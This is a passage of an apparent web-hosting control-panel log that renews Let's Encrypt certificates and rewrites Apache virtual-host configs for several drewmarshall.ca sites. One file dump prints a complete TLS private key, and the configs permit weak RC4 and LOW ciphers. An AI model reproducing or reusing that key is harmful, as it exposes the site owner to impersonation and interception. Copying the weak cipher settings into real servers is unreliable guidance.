Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-24 06:01:14: 

chmod 755 /tmp/pkp831028; /tmp/pkp831028; rm /tmp/pkp831028

2026-05-24 06:01:14: 


dir=/etc/ssl/certs


2026-05-24 06:01:14: 

PUT: /tmp/pkp753430

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-24 06:01:14: 

chmod 755 /tmp/pkp753430; /tmp/pkp753430; rm /tmp/pkp753430

2026-05-24 06:01:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf 52

<VirtualHost *:80>
    ServerName	preacheridol.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_preacheridol
    <Directory /var/www/drewmarshall_preacheridol>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/preacheridol_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/preacheridol_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	preacheridol.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt
    DocumentRoot	/var/www/drewmarshall_preacheridol
    <Directory /var/www/drewmarshall_preacheridol>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/preacheridol_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/preacheridol_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-05-24 06:01:14: 

PUT: /tmp/pkp780497

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_preacheridol_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	preacheridol.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_preacheridol
    <Directory /var/www/drewmarshall_preacheridol>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/preacheridol_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/preacheridol_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	preacheridol.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt
    DocumentRoot	/var/www/drewmarshall_preacheridol
    <Directory /var/www/drewmarshall_preacheridol>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/preacheridol_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/preacheridol_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf= 1'
fi


2026-05-24 06:01:14: 

chmod 755 /tmp/pkp780497; /tmp/pkp780497; rm /tmp/pkp780497

2026-05-24 06:01:14: 




2026-05-24 06:01:14: 

PUT: /tmp/pkp704364

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-24 06:01:14: 

chmod 755 /tmp/pkp704364; /tmp/pkp704364; rm /tmp/pkp704364

2026-05-24 06:01:14: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-24 06:01:14: Establishing a connection
2026-05-24 06:01:14: 

PUT: /tmp/pkp881741

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-24 06:01:14: 

chmod 755 /tmp/pkp881741; /tmp/pkp881741; rm /tmp/pkp881741

2026-05-24 06:01:14: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-24 06:01:14: 

PUT: /tmp/pkp818724

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-24 06:01:14: 

chmod 755 /tmp/pkp818724; /tmp/pkp818724; rm /tmp/pkp818724

2026-05-24 06:01:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf	1308

<VirtualHost *:80>
    ServerName	preacheridol.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_preacheridol
    <Directory /var/www/drewmarshall_preacheridol>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/preacheridol_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/preacheridol_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	preacheridol.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt
    DocumentRoot	/var/www/drewmarshall_preacheridol
    <Directory /var/www/drewmarshall_preacheridol>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/preacheridol_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/preacheridol_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-05-24 06:01:14: 

PUT: /tmp/pkp992132

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-24 06:01:14: 

chmod 755 /tmp/pkp992132; /tmp/pkp992132; rm /tmp/pkp992132

2026-05-24 06:01:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt	5385
3c:c8:5a:8c:74:ff:6e:85:14:b0:34:41:49:e3:d9:3e

-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBfA/feDAdti23uXRaNdCewIyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTI0MDUwMjQyWhcNMjYwODIyMDUwMjQxWjAnMSUwIwYDVQQD
ExxwcmVhY2hlcmlkb2wuZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEArJxwonY4fNuKWn6MIZQU93SkBDiIsOZfm9jS5b0QUuaH
D6J3nCyDFijABGseqFQ2Tnpn2O8Na7h9WSZI2KR0KgdYZutxMFfBhI7THtSVmZah
W+025gMDhLZMkgRHv/X0SL0qN02Lb+kMhrbLUPz3WevflaES8poG0Dh6xqAlI826
fCAlxOcqtQVINdB6q+dkHQZK/Euy8l9ZZMXkAqF16mViVY2pxWtr6zBwWofDhDNQ
JvyaDWqy4bEohkXVaGGXSdlNvaKRPlUzjd9j7ZEc3V6MV1jPDyQ5402dLvdArJm3
zw2baappesIiV1JOkO92RZP4OYQTwS/F59BI3wo8nwIDAQABo4ICKTCCAiUwDgYD
VR0PAQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFL6uyP+xg/giUtn1ohprZltptY+MMB8GA1UdIwQYMBaAFOernw8s
M6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMy5pLmxlbmNyLm9yZy8wJwYDVR0RBCAwHoIccHJlYWNoZXJpZG9sLmRy
ZXdtYXJzaGFsbC5jYTATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzUxLmNybDCCAQsGCisGAQQB1nkC
BAIEgfwEgfkA9wB1AMijxH/Hs625NWsBP2p6Em3jOk5DpcZG+ZetOXWZHc+aAAAB
nliSv2IAAAQDAEYwRAIgEdiSFMrWb1P++tf9fWNzGPBfGi0+LL8JrWiwcx5H6q0C
ICOm92bMw89AGpAWJjirH7QiG3LbjQw828X1YrQbTMMBAH4AbP5QGUOoXqkWvFLR
M+TcyR7xQRx9JYQg0XOAnhgY6zoAAAGeWJLA8gAIAAAFAA0LQSAEAwBHMEUCIAOk
WIT3NbIH30rULXsVFo3mruHZVd6BXuAKd9oNLhocAiEA1UFp/RBcf/Utw6ED3ZSH
0+NqdwKVHpURmRqRCeY1GRowDQYJKoZIhvcNAQELBQADggEBAE/sfEPs0iOin01I
Ef5Z+X9s4by09NsOkgKWjgGzN33GPnlEe628sThMID+9GWgLmEzCAKTiNeuKmbmT
oybZtd/I2WXJLl51YPjKn/GGDizvmLGPreAcVf3axf8FG2R733vIQVT3LoSVrNcd
Run5hQD75V9HoJTyElYcEXrPUIlAhKWeTLLU0o9RbKp9+U3r9JnGENDqYNIPI81c
Mczt9SRGkeqDy5whr35RVVweiJsGQmqOcojuDcKhHaKjwS7djauex6fH+FGObRR6
KhYx6es0oAcp/nLz9zHHSvi0QIrjt6hIwytkUG1d6SSMkq2WFftQUc2kbbc/j+54
4ULWBo4=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCsnHCidjh824pa
fowhlBT3dKQEOIiw5l+b2NLlvRBS5ocPonecLIMWKMAEax6oVDZOemfY7w1ruH1Z
JkjYpHQqB1hm63EwV8GEjtMe1JWZlqFb7TbmAwOEtkySBEe/9fRIvSo3TYtv6QyG
tstQ/PdZ69+VoRLymgbQOHrGoCUjzbp8ICXE5yq1BUg10Hqr52QdBkr8S7LyX1lk
xeQCoXXqZWJVjanFa2vrMHBah8OEM1Am/JoNarLhsSiGRdVoYZdJ2U29opE+VTON
32PtkRzdXoxXWM8PJDnjTZ0u90CsmbfPDZtpqml6wiJXUk6Q73ZFk/g5hBPBL8Xn
0EjfCjyfAgMBAAECggEAFC9ad+fK6kWYE8YJqAw+OW577FHEy6myU4doU4ennDIr
aCIlH5plnUFDAcvvCAXfsI9di9TvT6ysMoZ+F/Yp7sJGIwmfBmVfaBt1nSeEnl3V
h7+hNFufh9+eQP2xevANqDXqymXN4QEylExVpqZhBzRvRHr+EWhT/08jgw0LhXih
6cO8pq11BruHuvDZhR7Hzi0bJM7xOOjkzhAl+DtYpFC3vv7Obrj7m0iTTbuqcpk1
azNuavRyc7xrArmyW2icq+xFMU1G36s2YSDRGDeI+YASZvF0P+fZBVx+p+RWOYbA
sOVgxWs+ZBdINuS7OLIKg94b0eFIjmz3FUSGLH4geQKBgQDxsl4Evoxp+5EXG0I3
OiuAwu8BGVEF5YxNjGHKoJY57IbJEdTa1eyClLg2wLspHx2y4r3mXR4YjDYsE7rn
8+GyK1PsZq2bAhjHacQf85m3QKThD29h3bvb6XG916yoBnrdkV5TTtTjcp4BBh+I
W8TueRPvkY9/VNtDoXgFJkxgCQKBgQC203IobTTPhBKtOiLd0I6OZv5JU8OFHB6Q
k3yFjbbT2bQhJLolmxwdYJiS0qAb5cW3wM0PCOVSZ3eQrUmGqbfcMZdDl2B4oNV0
Pb4pgL7r8Z0P5dOpxnOWbUBSe0i4xtLNRRH2Krj7Hfs5BbgSv7/FW/b0pzpq9OlO
Hku5MjcRZwKBgQClNXP4sDsQkqmpbrODRprH5/cw/Boa+r49n9CUjdJCA8BaHnst
nn6M/5Uvr+v+/srxJPYDSfExfF3nIRFoTZcfj2hNNh5Cz1saq9worv2KeoB5anCL
J+KqPlbGGm9lZxCC9UPRlBgG5KjGMGZLcdcZ3t9WqVu6AMnj37JHatdX6QKBgQCX
26Ii+jK3e5iX0oZLgIQovFvTRIRO+EBbDmaL+F44MchxDzSfL+t2a1nP+quLAJvu
OXMaXeU9QTwLLCS6ehaCC579QaucBtvGJdLiXlI3YQV4wwnBJ1mzRSP8XvLUqDFI
12pH8sybqReXEa0HxcXghLboGE9pr+xqOrfjKFadWQKBgQCnEdSIWVmxnowDlgNF
FBAUE81CPJT9OIjMKfw208MUec8FMnKOaHYHE/ckwn6W4Iq3+uPeoXOmuvoBCA/8
O6kOm0AdXkc0afhweCqBTQkIdY3xykR7a4oAoNPIUlzt395coOoQPHrCmKQYZltk
kSmc1OSN5Xq/ivjsK+x/LGE1Iw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-05-24 06:01:15: Establishing a connection
2026-05-24 06:01:15: Establishing a connection
2026-05-24 06:01:15: 

PUT: /tmp/pkp173035

#!/bin/bash
if [ -d "/var/www/drewmarshall_datinggame/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-24 06:01:15: 

chmod 755 /tmp/pkp173035; /tmp/pkp173035; rm /tmp/pkp173035

2026-05-24 06:01:15: 


1


2026-05-24 06:01:15: Establishing a connection
2026-05-24 06:01:16: 

PUT: /tmp/pkp965347

#!/bin/bash
mkdir -p "/var/www/drewmarshall_datinggame/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_datinggame/.well-known/acme-challenge/"
cat > YuKGg3y-naO8ntgVfwUrY_vm7CIr13o7XfyUgO7okoI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
YuKGg3y-naO8ntgVfwUrY_vm7CIr13o7XfyUgO7okoI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 YuKGg3y-naO8ntgVfwUrY_vm7CIr13o7XfyUgO7okoI


2026-05-24 06:01:16: 

chmod 755 /tmp/pkp965347; /tmp/pkp965347; rm /tmp/pkp965347

2026-05-24 06:01:16: 




2026-05-24 06:01:22: Establishing a connection
2026-05-24 06:01:22: 

PUT: /tmp/pkp174571

#!/bin/bash
mkdir -p "/var/www/drewmarshall_datinggame/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_datinggame/.well-known/acme-challenge/"
rm YuKGg3y-naO8ntgVfwUrY_vm7CIr13o7XfyUgO7okoI


2026-05-24 06:01:22: 

chmod 755 /tmp/pkp174571; /tmp/pkp174571; rm /tmp/pkp174571

2026-05-24 06:01:22: 




2026-05-24 06:01:22: Establishing a connection
2026-05-24 06:01:22: 

PUT: /tmp/pkp890055

#!/bin/bash
temp_file=$(mktemp)
TARGET=23de9e4d8d79bf04b5d6fc34a21a5b07.crt

cat > $temp_file <<'endmsg'
5d:95:90:e1:9e:b1:4f:17:d9:e0:94:8a:94:37:3e:b9

-----BEGIN CERTIFICATE-----
MIIFEDCCA/igAwIBAgISBWT7bqNytvQzRAww+tTQUJ4NMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTI0MDUwMjUwWhcNMjYwODIyMDUwMjQ5WjAlMSMwIQYDVQQD
ExpkYXRpbmdnYW1lLmRyZXdtYXJzaGFsbC5jYTCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAKrhMRvE1PJcdJr2h3Rl0S4U57c9Kte0gj6vjYsoEHJg5DVf
jN3SVMLH+P3OwtX3m9p5TCZKq9d6knjsrzYHwGR1Pi2evSo5N3MpRyOpZF4ql9B2
I8UkIHzO6r6sr27bJAvoXOGSN27skRtuAlUcNU6m/TU4ilEMv4IL1YpZnENfjAY8
esm5d5M7focJZssw3t/pBYAOGLJZA1VcDckEpzbS1KJ9AtNQbaVn4EbPcOxYTMz5
